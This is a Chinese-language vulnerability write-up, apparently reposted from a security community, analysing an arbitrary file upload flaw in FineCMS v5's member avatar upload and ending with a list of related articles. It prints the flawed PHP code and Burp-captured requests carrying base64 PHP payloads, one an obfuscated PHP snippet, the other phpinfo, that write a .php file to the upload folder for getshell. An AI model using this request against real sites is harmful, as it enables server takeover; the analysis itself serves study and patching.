关于finecms v5 会员头像 任意文件上传漏洞分析
看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下
本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载!
1.定位功能
下载源码在本地搭建起来后,正常登陆了用户后,我们为用户上传头像的时候用burp抓包,看看这个请求动作的细节
POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1 Host: 127.0.0.1 Content-Length: 208 Accept: application/json, text/javascript, */*; q=0.01 Origin: [url]http://127.0.0.1[/url] X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url] Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8 Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h Connection: closetx=data%3Aimage%2Fjpeg%3Bbase64%2CPD9waHANCiRfPSIiOw0KJF9bKyIiXT0nJzsNCiRfPSIkXyIuIiI7DQokXz0oJF9bKyIiXXwiBiIpLigkX1srIiJdXiIEIikuKCRfWysiIl1eIhUiKTsNCg0KJHsnXycuJF99WydfJ10oJHsnXycuJF99WydfXyddKTsNCg0KDQo%3D
因为finecms是基于ci框架开发的,所以很容易就可以定位到相关的功能点,我们去看看源码吧。
2.审计代码
那我们根据路由规则到文件/finecms/dayrui/controllers/member/Account.php 看看upload这个功能点的代码
/*** 上传头像处理* 传入头像压缩包,解压到指定文件夹后删除非图片文件*/public function upload() {// 创建图片存储文件夹$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';@dr_dir_delete($dir);!is_dir($dir) && dr_mkdirs($dir);if ($_POST['tx']) {$file = str_replace(' ', '+', $_POST['tx']);if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){$new_file = $dir.'0x0.'.$result[2];if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {exit(dr_json(0, '目录权限不足或磁盘已满'));} else {$this->load->library('image_lib');$config['create_thumb'] = TRUE;$config['thumb_marker'] = '';$config['maintain_ratio'] = FALSE;$config['source_image'] = $new_file;foreach (array(30, 45, 90, 180) as $a) {$config['width'] = $config['height'] = $a;$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];$this->image_lib->initialize($config);if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}}list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);!$type && exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片不存在'));}// 上传图片到服务器if (defined('UCSSO_API')) {$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));}exit('1');}}
代码里 使用 preg_match(‘/^(data:\s*image\/(\w+);base64,)/’, $file, $result) 对$_POST['tx']的内容进行正则匹配,匹配成功的话就生成文件名
然后 if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], ”, $file)))) { 把文件内容写进刚刚生成的文件名
文件名是 $new_file = $dir.’0×0.’.$result[2];
其中 $dir = SYS_UPLOAD_PATH.’/member/’.$this->uid.’/';
那么,各位看官看到这里就知道怎么利用了,没错,它的正则表达式存在问题,看这里 image\/(w+),如果我们提交的$_POST['tx']里改成image/php ,那么它就会生成php格式的文件,所以这里可以利用然后生成php文件。
3.构造利用
那我们的利用就很简单了,上传头像的时候使用burp进行抓包,把image/jpeg 改成image/php 即可getshell!!!
看一下我的burp拦截修改后的信息:
POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1 Host: 127.0.0.1 Content-Length: 67 Origin: [url]http://127.0.0.1[/url] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url] Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8 Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h Connection: closetx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D
forward之后,我们到成都的街头走一走。。。啊,什么鬼,呸!我们到网站目录的头像上传目录去看一看,发现成功写入php文件
访问http://127.0.0.1/uploadfile/member/1/0×0.php,执行成功
小结
其实这个漏洞主要因为开发人员粗心造成的,这样的正则实在不该,最后应该有个白名单判断文件的后缀
参考资料
官方源码:http://git.oschina.net/dayrui/finecms
转载于:https://www.cnblogs.com/ichunqiu/p/7453208.html
关于finecms v5 会员头像 任意文件上传漏洞分析相关推荐
- php.ini 米拓_MetInfo(米拓) v5.1.3任意文件上传漏洞分析附利用EXP | CN-SEC 中文网
摘要 MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞-. ps:欢迎各种形式转载,首发t00ls.net MetInfo 23号发布了新版本5. ...
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 某office前台任意文件上传漏洞分析
X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...
- PHPCMS最新版任意文件上传漏洞分析
工具:火狐插件hackbar 前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆-- 任意文件上传倒是很惊讶 ...
- 畅捷通T+ v17任意文件上传漏洞复现
1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...
- php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞
事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...
- 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞
发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...
- vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...
文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...
- 织梦guestbook.php漏洞,DEDE:织梦漏洞修复(含任意文件上传漏洞与注入漏洞)
这几天阿里频繁提醒网站有漏洞,搞得我不胜其烦,好吧,我修复还不行吗?搜索之后整理如下,仅供参考(5.7以上版本适用): 任意文件上传漏洞修复 一./include/dialog/select_soft ...
- 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)
聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...
最新文章
- [转载]python optionparser1
- java线程 yield_Java线程中yield与join方法的区别
- Scala基础:定义变量和逻辑判断语句以及方法和函数
- Android Activity和Fragment的转场动画
- python3.8.5安装-centos7 编译安装python3.8.5
- linux 安装 hadoop
- mysql 索引- 笔记
- php redis 签到,基于Redis位图实现用户签到功能
- 我敲的不是代码,而是……
- 这位 GitHub 冠军项目背后的“老男人”,堪称 10 倍程序员本尊!
- JDBC入门(5)--- 时间类型、大数据
- OC可变数组的常用操作
- 假如时光倒流, 我会这么学习Java
- matlab数字图像处理实验报告
- 【CV-Paper 06】Inception V3:Rethinking the Inception Architecture for Computer Vision
- cutting stock 问题的列生成算法
- 02—JAVA(基础)—(数据类型转换,运算符,方法)
- linux 抓图,关于Linux下的抓图软件和使用方法介绍
- 基于市场看中国手游发展大环境
- Word目录第一行和最后一行格式不对(首行缩进)的解决方案
热门文章
- 彼时彼刻恰似此时此刻
- 一个app的流程分析
- Referenced file contains errors (xml文件第一行小红叉错误)
- 路由器DNS被劫持的解决办法,dns被劫持怎么办?
- php实现QQ打开跳转浏览器,【网站】 简单通用微信QQ跳转浏览器打开代码
- qq浏览器无小程序版本号与服务器不符,QQ浏览器发力小程序,同时兼容适配微信小程序...
- 标准焦距;焦距与景深的关系
- IOS开发之——图片裁剪(82)
- java线程池中的Worker解析
- 锂离子电容器_离子电容器:从Mac的App到iOS IPA